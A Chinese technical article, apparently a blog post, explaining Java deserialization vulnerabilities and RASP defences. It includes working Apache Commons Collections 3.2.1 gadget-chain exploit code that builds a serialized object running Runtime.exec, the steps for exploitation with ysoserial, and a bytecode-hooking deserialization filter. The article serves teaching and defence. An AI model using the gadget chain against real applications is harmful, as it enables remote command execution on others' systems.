Java序列化与反序列化
序列化常用于将程序运行时的对象状态以二进制的形式存储于文件系统中,在另一个程序中对序列化后的对象状态数据进行反序列化可恢复对象,即基于序列化数据实时在两个程序中传递程序对象。序列化对象具有一定的二进制结构,以十六进制格式查看存储了序列化对象的文件,除了包含一些字符串常量以外,还能看到不可打印的字符,而这些字符就是用来描述其序列化结构的。
String obj = "the obj to write";
// 将序列化对象写入文件object.ser中
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.ser中读取数据
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
下图为序列化数据中的二进制数据,0xaced为Java序列化数据特有的Magic Number,0x0005为协议版本信息。 
若Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中可能带来如下危害:
- 执行逻辑控制(例如变量修改、登陆绕过)
- 代码执行
- 命令执行
- 拒绝服务
- …
Java反序列化命令执行
面向属性编程
Property-Oriented Programing常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程Return-Oriented Programing的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
2015年1月AppSec2015上gebl和frohoff所讲的 《Marshalling Pickles》提到了基于Java的一些通用库或者框架能够构建出一组POP链使得Java应用在反序列化的过程中触发任意命令执行,同时也给出了相应的Payload构造工具
ysoserial。
Apache Commons Collections 3.2.1反序列化命令执行
Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。
public interface Transformer {
public Object transform(Object input);
}
当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap,然后想办法去触发Map中的MapEntry产生修改(例如setValue()函数),即可触发我们构造的Transformer。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer(
"exec", new Class[] {String.class}, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map tempMap = new HashMap<>();
tempMap.put("111", "222");
Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);
for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) {
exMapValue.setValue(1);
}
如下图所示为反序列化命令执行截图,在命令执行过程中调用了系统的计算器应用。
Apache Commons Collections 3.2.1反序列化远程命令执行
在Java应用反序列化的过程中触发该过程还需要找到一个类,它能够在反序列化调用readObject()的时候调用TransformedMap内置类MapEntry中的setValue()函数,这样才能构成一条完整的调用链。在sun.reflect.annotation.AnnotationInvocationHandler类具有Map类型的参数,并且在readObject()方法中触发了上面所提到的所有条件。
private void readObject(java.io.ObjectInputStream s) {
...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}
}
只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer(
"exec", new Class[] {String.class},new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map tempMap = new HashMap<>();
tempMap.put("111", "222");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, exMap);
ObjectOutputStream out = new ObjectOutputStream(System.out);
out.writeObject(instance);
如下图所示为在控制台输出构建的远程命令执行所需的序列化对象。
POP调用链与反序列化命令执行漏洞挖掘
Apache Common Collections 3.2.1反序列化远程命令执行POP调用链。
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
反序列化命令执行漏洞挖掘方法
- 针对一个
Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点,可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含Java序列化数据来判断,java序列化数据的特征为以标记ac ed 00 05开头。 - 确定了反序列化输入点后,再考察应用的
Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令。 - 通过先前找到的传入对象方式进行对象注入,数据中载入
payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。
RASP
RASP(Runtime application self-protection)运行时应用自我保护。RSAP将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力。并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可。
RASP不但能够对应用进行基础安全防护,由于一些攻击造成的应用程序调用栈调用栈具有相似性,还能够对0day进行一定的防护。
WAF VS RASP
-
WAF主要通过分析流量中的特征过滤攻击请求,并拦截携带有攻击特征的请求。WAF虽可有效过滤出绝大多数恶意请求,但是不知道应用运行时的上下文,必然会造成一定程度的误报。并且WAF严重依赖于特征库,各种花式绕过,导致特征编写很难以不变应万变。 -
RASP的不同就在于运行在应用之中,与应用融为一体,可以获取到应用运行时的上下文,根据运行时上下文或者敏感操作,对攻击进行精准的识别或拦截。于此同时,由于RASP运行在应用之中,只要检测点选取合理,获取到的payload已经是解码过的真实payload,可以减少由于WAF规则的不完善导致的漏报。 -
WAF作为应用外围的防线,RASP作为应用自身的安全防护,确保对攻击的有效拦截。RASP带来的性能消耗在5%~10%之间,在一定程度上仍然是可以接受的。由于RASP需要运行在应用中,不能像WAF一样在流量入口统一部署。需要根据应用开发的技术不同使用不同的RASP。比如.net应用与Java应用需要不同的RASP产品,增加了部署成本。
RASP代码注入
Rasp想要将自己注入到被保护的应用中,基本思路类似于Java中的AOP技术,将RASP的探针代码注入到需要进行检测的地方,AOP可从以下几个方面来实现:
- 编译期,需要编写静态代理,导致灵活性差,对原有的应用代码有修改
- 字节码加载前,在字节码加载前进行织入,可通过重写
ClassLoader或Instrumentation。如果重写ClassLoader,仍然对现有代码进行了修改,不能做到对应用无侵入,所以只有利用Java的Instrumentation - 字节码加载后,使用动态代理,为接口动态生成代理类,但仍然需要使用相关的类库进行动态代理的配置,并融合到应用的源代码中
Instrumentation
java.lang.instrument包的具体实现依赖于JVMTI。JVMTI(Java Virtual Machine Tool Interface)是一套由Java虚拟机提供的,为JVM相关的工具提供的本地编程接口集合。在Instrumentation的实现当中,存在一个JVMTI的代理程序,通过调用JVMTI当中Java类相关的函数来完成Java类的动态操作。
JVM加载前植入探针
在premain函数中,将类转换器添加到了Instrumentation,这样在类加载前,我们便有机会对字节码进行操作,植入Rasp的安全探针。
public static void premain(String agentArgs, Instrumentation inst)
throws ClassNotFoundException, UnmodifiableClassException {
Console.log("init");
init();
inst.addTransformer(new ClassTransformer());
}
private static boolean init() {
Config.initConfig();
return true;
}
若想使用带有Instrumentation代理的程序,需要在JVM的启动参数中添加-javaagent启动参数。
利用ClassTransformer进行探针植入
在运行了Instrumentation代理的Java程序中,字节码的加载会经过我们自定义的ClassTransformer,在这里我们可以过滤出我们关注的类,并对其字节码进行相关的修改。
public class ClassTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
byte[] transformeredByteCode = classfileBuffer;
if (Config.moudleMap.containsKey(className)) {
try {
ClassReader reader = new ClassReader(classfileBuffer);
ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS);
ClassVisitor visitor = Reflections.createVisitorIns((String)Config.moudleMap.get(className).get("loadClass"), writer, className);
reader.accept(visitor, ClassReader.EXPAND_FRAMES);
transformeredByteCode = writer.toByteArray();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
return transformeredByteCode;
}
}
实现中使用了使用了Map将关注的类进行保存,一旦命中我们关心的类,便利用反射生成asm的ClassVisitor ,使用asm操作字节码,进行探针织入,最终返回修改后的字节码。
Apache Commons Collections反序列化漏洞检测 在这个ClassVisitor中,在resolveClass执行之前对其中的恶意参数进行过滤,可以对Apache Commons Collections反序列化执行漏洞进行有效的防护。
public class DeserializationVisitor extends ClassVisitor {
public String className;
public DeserializationVisitor(ClassVisitor cv, String className) {
super(Opcodes.ASM5, cv);
this.className = className;
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if ("resolveClass".equals(name) && "(Ljava/io/ObjectStreamClass;)Ljava/lang/Class;".equals(desc)) {
mv = new DeserializationVisitorAdapter(mv, access, name, desc);
}
return mv;
}
}
Hook了相关代码执行,并跳转至反序列化参数执行的过滤器中。
@Override
protected void onMethodEnter() {
mv.visitTypeInsn(NEW, "xbear/javaopenrasp/filters/rce/DeserializationFilter");
mv.visitInsn(DUP);
mv.visitMethodInsn(INVOKESPECIAL, "xbear/javaopenrasp/filters/rce/DeserializationFilter", "<init>", "()V", false);
mv.visitVarInsn(ASTORE, 2);
mv.visitVarInsn(ALOAD, 2);
mv.visitVarInsn(ALOAD, 1);
mv.visitMethodInsn(INVOKEVIRTUAL, "xbear/javaopenrasp/filters/rce/DeserializationFilterr", "filter", "(Ljava/lang/Object;)Z", false);
Label l92 = new Label();
mv.visitJumpInsn(IFNE, l92);
mv.visitTypeInsn(NEW, "java/io/IOException");
mv.visitInsn(DUP);
mv.visitLdcInsn("invalid class in deserialization because of security");
mv.visitMethodInsn(INVOKESPECIAL, "java/io/IOException", "<init>", "(Ljava/lang/String;)V", false);
mv.visitInsn(ATHROW);
mv.visitLabel(l92);
}
如下所示,对反序列化参数执行过滤。
@Override
public boolean filter(Object forCheck) {
String moudleName = "java/io/ObjectInputStream";
ObjectStreamClass desc = (ObjectStreamClass) forCheck;
String className = desc.getName();
String mode = (String) Config.moudleMap.get(moudleName).get("mode");
switch (mode) {
case "block":
Console.log("block: " + className);
return false;
case "white":
if (Config.isWhite(moudleName, className)) {
Console.log("pass: " + className);
return true;
}
Console.log("block:" + className);
return false;
case "black":
if (Config.isBlack(moudleName, className)) {
Console.log("block: " + className);
return false;
}
Console.log("pass: " + className);
return true;
case "log":
default:
Console.log("pass: " + className);
Console.log("log stack trace:\r\n" + StackTrace.getStackTrace());
return true;
}
}
植入探针后,检测的结果如下图所示
JVM加载后植入探针
Instrumention实例通过agent代码中的的agentmain传入,将类转换器添加到了Instrumentation,则可在JVM加载后对字节码进行操作,植入Rasp的安全探针;植入代码如下所示,其余对需要检测的字节码的操作可参照上一节代码。
public static void agentmain(String agentArgs, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException {
Console.log("init");
init();
inst.addTransformer(new ClassTransformer());
}
private static boolean init() {
Config.initConfig();
return true;
}
由于agent在JVM启动后进行探针植入,此时需要利用类VirtualMachine的Attach方法将探针与需要植入的JAVA进程id关联起来,关联代码如下所示。
import com.sun.tools.attach.VirtualMachine;
public class TestMainAgent {
public static void main(String[]args) throws Exception {
//待监控Java应用
VirtualMachine vm = VirtualMachine.attach(args[0]);
//加载Agent
vm.loadAgent("path/javaopenrasp.jar");
}
}
在进行关联时可利用jps命令查看JVM中进程id。检测结果如下图所示 